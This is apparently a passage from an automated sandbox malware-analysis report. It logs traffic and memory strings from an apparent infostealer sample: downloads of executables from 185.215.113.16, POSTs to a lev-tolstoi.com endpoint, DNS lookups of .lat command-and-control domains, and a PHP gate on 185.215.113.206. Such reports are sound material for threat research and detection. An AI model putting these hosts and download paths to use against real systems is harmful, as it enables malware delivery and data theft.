Source: global traffic HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: Bire1g8ahY.exe, 00000000.00000003.1343774938.000000000130A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://*.valvesoftware.com https://*.steambeta.net https://*.discovery.beta.steamserver.net https://*.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://*.valvesoftware.com https://*.steambeta.net https://*.discovery.beta.steamserver.net https://*.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=044b2140bc73d0d1c4d0ffcb; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type35121Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveMon, 23 Dec 2024 07:44:17 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://*.valvesoftware.com https://*.steambeta.net https://*.discovery.beta.steamserver.net https://*.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: global traffic DNS traffic detected: DNS query: sweepyribs.lat
Source: global traffic DNS traffic detected: DNS query: grannyejh.lat
Source: global traffic DNS traffic detected: DNS query: discokeyus.lat
Source: global traffic DNS traffic detected: DNS query: necklacebudi.lat
Source: global traffic DNS traffic detected: DNS query: energyaffai.lat
Source: global traffic DNS traffic detected: DNS query: aspecteirs.lat
Source: global traffic DNS traffic detected: DNS query: sustainskelet.lat
Source: global traffic DNS traffic detected: DNS query: crosshuaht.lat
Source: global traffic DNS traffic detected: DNS query: rapeflowwj.lat
Source: global traffic DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic DNS traffic detected: DNS query: lev-tolstoi.com
Source: unknown HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lev-tolstoi.com
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://127.0.0.1:27060
Source: Bire1g8ahY.exe, 00000000.00000003.1604027598.0000000001346000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/
Source: Bire1g8ahY.exe, 00000000.00000003.1604027598.0000000001346000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/off/def.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1604027598.0000000001346000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/off/def.exe.
Source: Bire1g8ahY.exe, 00000000.00000003.1604027598.0000000001346000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/off/def.exe3
Source: Bire1g8ahY.exe, 00000000.00000003.1604027598.0000000001346000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: Bire1g8ahY.exe, 00000000.00000003.1604027598.0000000001346000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/steam/random.exeoot
Source: 1I4F16VK8DFW90DXD.exe, 0000000A.00000002.1767526123.00000000009AE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206
Source: 1I4F16VK8DFW90DXD.exe, 0000000A.00000002.1767526123.0000000000A07000.00000004.00000020.00020000.00000000.sdmp, 1I4F16VK8DFW90DXD.exe, 0000000A.00000002.1767526123.0000000000A20000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/
Source: 1I4F16VK8DFW90DXD.exe, 0000000A.00000002.1767526123.0000000000A20000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/MP
Source: 1I4F16VK8DFW90DXD.exe, 0000000A.00000002.1767526123.0000000000A07000.00000004.00000020.00020000.00000000.sdmp, 1I4F16VK8DFW90DXD.exe, 0000000A.00000002.1767526123.00000000009AE000.00000004.00000020.00020000.00000000.sdmp, 1I4F16VK8DFW90DXD.exe, 0000000A.00000002.1767526123.0000000000A20000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: 1I4F16VK8DFW90DXD.exe, 0000000A.00000002.1767526123.0000000000A20000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/RP
Source: 1I4F16VK8DFW90DXD.exe, 0000000A.00000002.1767526123.0000000000A20000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpDPg
Source: 1I4F16VK8DFW90DXD.exe, 0000000A.00000002.1767526123.00000000009AE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpZm
Source: 1I4F16VK8DFW90DXD.exe, 0000000A.00000002.1767526123.0000000000A07000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpj
Source: 1I4F16VK8DFW90DXD.exe, 0000000A.00000002.1767526123.0000000000A07000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/ws
Source: 1I4F16VK8DFW90DXD.exe, 0000000A.00000002.1767526123.00000000009AE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206a
Source: Bire1g8ahY.exe, 00000000.00000003.1433441160.0000000005AF2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: Bire1g8ahY.exe, 00000000.00000003.1433441160.0000000005AF2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: Bire1g8ahY.exe, 00000000.00000003.1433441160.0000000005AF2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: Bire1g8ahY.exe, 00000000.00000003.1433441160.0000000005AF2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: Bire1g8ahY.exe, 00000000.00000003.1433441160.0000000005AF2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: Bire1g8ahY.exe, 00000000.00000003.1433441160.0000000005AF2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: Bire1g8ahY.exe, 00000000.00000003.1433441160.0000000005AF2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: Bire1g8ahY.exe, 00000000.00000003.1433441160.0000000005AF2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0
Source: Bire1g8ahY.exe, 00000000.00000003.1433441160.0000000005AF2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Bire1g8ahY.exe, 00000000.00000003.1459850809.0000000001347000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1501036417.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1484278199.000000000134C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://store.steampowered.com
Source: Bire1g8ahY.exe, Bire1g8ahY.exe, 00000000.00000003.1523398427.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1604027598.0000000001346000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://store.steampowered.com#
Source: Bire1g8ahY.exe, 00000000.00000003.1523398427.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1604027598.0000000001346000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://store.steampowered.com##/#
Source: Bire1g8ahY.exe, 00000000.00000003.1386496751.0000000001358000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: Bire1g8ahY.exe, Bire1g8ahY.exe, 00000000.00000003.1523398427.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1386496751.0000000001358000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1459850809.0000000001347000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1501036417.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1484278199.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343635500.00000000012D9000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1604027598.0000000001346000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: Bire1g8ahY.exe, 00000000.00000003.1386496751.0000000001358000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343635500.00000000012D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: Bire1g8ahY.exe, 00000000.00000003.1433441160.0000000005AF2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://x1.c.lencr.org/0
Source: Bire1g8ahY.exe, 00000000.00000003.1433441160.0000000005AF2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://x1.i.lencr.org/0
Source: Bire1g8ahY.exe, 00000000.00000003.1387514549.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1387375914.0000000005AEF000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1387439529.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://api.steampowered.com/
Source: Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343635500.00000000012D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: Bire1g8ahY.exe, 00000000.00000003.1457483751.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: Bire1g8ahY.exe, 00000000.00000003.1387514549.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1387375914.0000000005AEF000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1387439529.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/
Source: Bire1g8ahY.exe, 00000000.00000003.1387514549.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1387375914.0000000005AEF000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1387439529.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Bire1g8ahY.exe, 00000000.00000003.1387514549.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1387375914.0000000005AEF000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1387439529.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://checkout.steampowered.com/
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.fastly.steamstatic.com/
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343635500.00000000012D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343635500.00000000012D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: Bire1g8ahY.exe, 00000000.00000003.1386496751.0000000001358000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343635500.00000000012D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343635500.00000000012D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343635500.00000000012D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=_92TWn81
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343635500.00000000012D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=hyEE
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&l
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=St3gSJx2HFUZ&l=e
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&
